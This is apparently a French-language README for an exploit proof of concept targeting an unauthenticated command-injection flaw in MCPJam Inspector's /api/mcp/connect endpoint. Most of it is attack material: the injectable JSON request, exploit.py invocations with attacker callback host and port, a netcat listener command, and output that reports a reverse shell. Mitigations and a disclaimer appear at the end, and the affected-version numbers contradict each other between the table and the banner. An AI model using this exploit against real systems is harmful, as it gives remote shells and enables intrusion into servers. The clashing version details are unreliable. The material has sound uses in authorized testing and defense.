
Exploit PoC pour CVE-2026-23744 — RCE non authentifiée dans MCPJam Inspector via injection de commande non validée dans serverConfig sur /api/mcp/connect, permettant un shell inverse en tant que propriétaire du processus sans identifiants.
MCPJam est un inspecteur et proxy MCP (Model Context Protocol) open-source utilisé pour connecter, déboguer et gérer des serveurs MCP. Les versions <= 1.4.2 exposent le point de terminaison /api/mcp/connect sans authentification ni validation des entrées. Un attaquant distant non authentifié peut injecter des commandes OS arbitraires via les champs serverConfig.command / serverConfig.args, obtenant une exécution de code à distance sous les privilèges du propriétaire du processus.
| Champ | Valeur |
|---|
| Identifiant CVE | CVE-2026-23744 |
| Score CVSS | 9.8 (Critique) |
| Vecteur CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-78 — Neutralisation incorrecte des éléments spéciaux dans une commande OS |
| Composant | MCPJam MCP Proxy Inspector |
| Affecté | MCPJam <= 1.4.2 |
| Corrigé | MCPJam >= 1.4.3 |
| Vecteur d'attaque | Réseau — Aucune authentification requise |
| Divulgation | 2026-01-15 |
Le point de terminaison vulnérable accepte une requête POST JSON non authentifiée :
POST /api/mcp/connect HTTP/1.1
Host: <target>:3000
Content-Type: application/json
{
"serverConfig": {
"command": "sh",
"args": ["-c", "<ATTACKER_CONTROLLED>"],
"env": {}
},
"serverId": "any_string"
}
MCPJam transmet directement command et args au générateur de processus Node.js (child_process.spawn ou équivalent) sans :
Un attaquant qui peut atteindre le port 3000 (par défaut) peut fournir une charge utile de shell inverse dans args[1], obtenant un shell en tant que propriétaire du processus MCPJam — souvent root ou un compte de service avec un accès système étendu.
L'absence d'un garde-fou d'authentification middleware sur /api/mcp/connect combinée à une utilisation incontrôlée de valeurs fournies par l'utilisateur dans un appel de génération de processus crée une injection de commande OS non authentifiée (CWE-78) classique.
pip install requests urllib3
-t, --target Adresse IP ou nom d'hôte cible
-p, --port Port cible (MCPJam par défaut : 3000)
-l, --lhost IP locale pour le callback du shell inverse
-r, --lport Port local pour le callback du shell inverse
--timeout Secondes d'attente de disponibilité de la cible (défaut : 30)
--shell-timeout Timeout POST avant de considérer le shell perdu (défaut : 5)
-v, --verbose Afficher le corps complet de la réponse HTTP
1. Démarrez un écouteur netcat sur votre machine :
nc -lvnp 4444
2. Lancez l'exploit :
# Basique
python3 exploit.py -t 10.10.11.50 -p 3000 -l 10.10.14.5 -r 4444
# Verbose + délai d'attente de disponibilité étendu (cibles lentes)
python3 exploit.py -t 10.10.11.50 -p 3000 -l 10.10.14.5 -r 4444 --timeout 60 -v
# Délai d'attente du shell plus long (donner plus de temps avant de supposer le shell établi)
python3 exploit.py -t 10.10.11.50 -p 3000 -l 10.10.14.5 -r 9001 --shell-timeout 10
╔═══════════════════════════════════════════════════════════════════╗
║ MCPJam · Exécution de code à distance non authentifiée ║
║ via injection serverConfig ║
║ CVE-2026-23744 ║
╚═══════════════════════════════════════════════════════════════════╝
Identifiant CVE : CVE-2026-23744
Composant : MCPJam MCP Proxy Inspector
Affecté : <= 1.2.3 → Corrigé: >= 1.2.4
Score CVSS : 9.8 (Critique)
Vecteur CVSS : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE : CWE-78 — Injection de commande OS
Type : Exécution de code à distance non authentifiée (Réseau / Pas d'auth)
Référence : https://nvd.nist.gov/vuln/detail/CVE-2026-23744
10:32:01 [*] Sondage de la cible 10.10.11.50:3000 (max 30s) ...
10:32:02 [+] La cible est en vie — HTTP 200
10:32:02 [*] Point de terminaison exploit : http://10.10.11.50:3000/api/mcp/connect
10:32:02 [*] Callback shell inverse : 10.10.14.5:4444
10:32:02 [!] Assurez-vous que l'écouteur : nc -lvnp 4444
10:32:02 [*] Envoi de la charge utile ...
10:32:07 [+] POST a expiré après 5s — shell inverse probablement établi sur 10.10.14.5:4444
10:32:07 [+] Basculez vers votre écouteur netcat — connexion entrante attendue.
10:32:07 [+] Routine d'exploit terminée.
Timeout = indicateur de succès. Lorsque la requête POST expire, le processus cible bloque sur le shell inverse ouvert — c'est le comportement attendu, confirmant que l'exécution de code à distance a été réalisée. Basculez immédiatement sur votre écouteur.
| Priorité | Action |
|---|---|
| Critique | Mettre à jour MCPJam vers >= 1.4.3 |
| Haute | Restreindre /api/mcp/connect derrière un middleware d'authentification |
| Haute | Appliquer une règle de pare-feu au niveau réseau limitant l'accès au port MCPJam aux IP de confiance |
| Moyenne | Mettre sur liste blanche les valeurs autorisées pour serverConfig.command |
| Moyenne | Exécuter MCPJam dans un conteneur / avec un utilisateur Linux restreint (pas de shell, pas de /dev/tcp) |
| Faible | Activer la journalisation d'audit sur les événements de génération de processus |
Cet exploit est fourni strictement à des fins éducatives et de tests de sécurité autorisés. Utilisez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite de tester. L'utilisation non autorisée est illégale et contraire à l'éthique.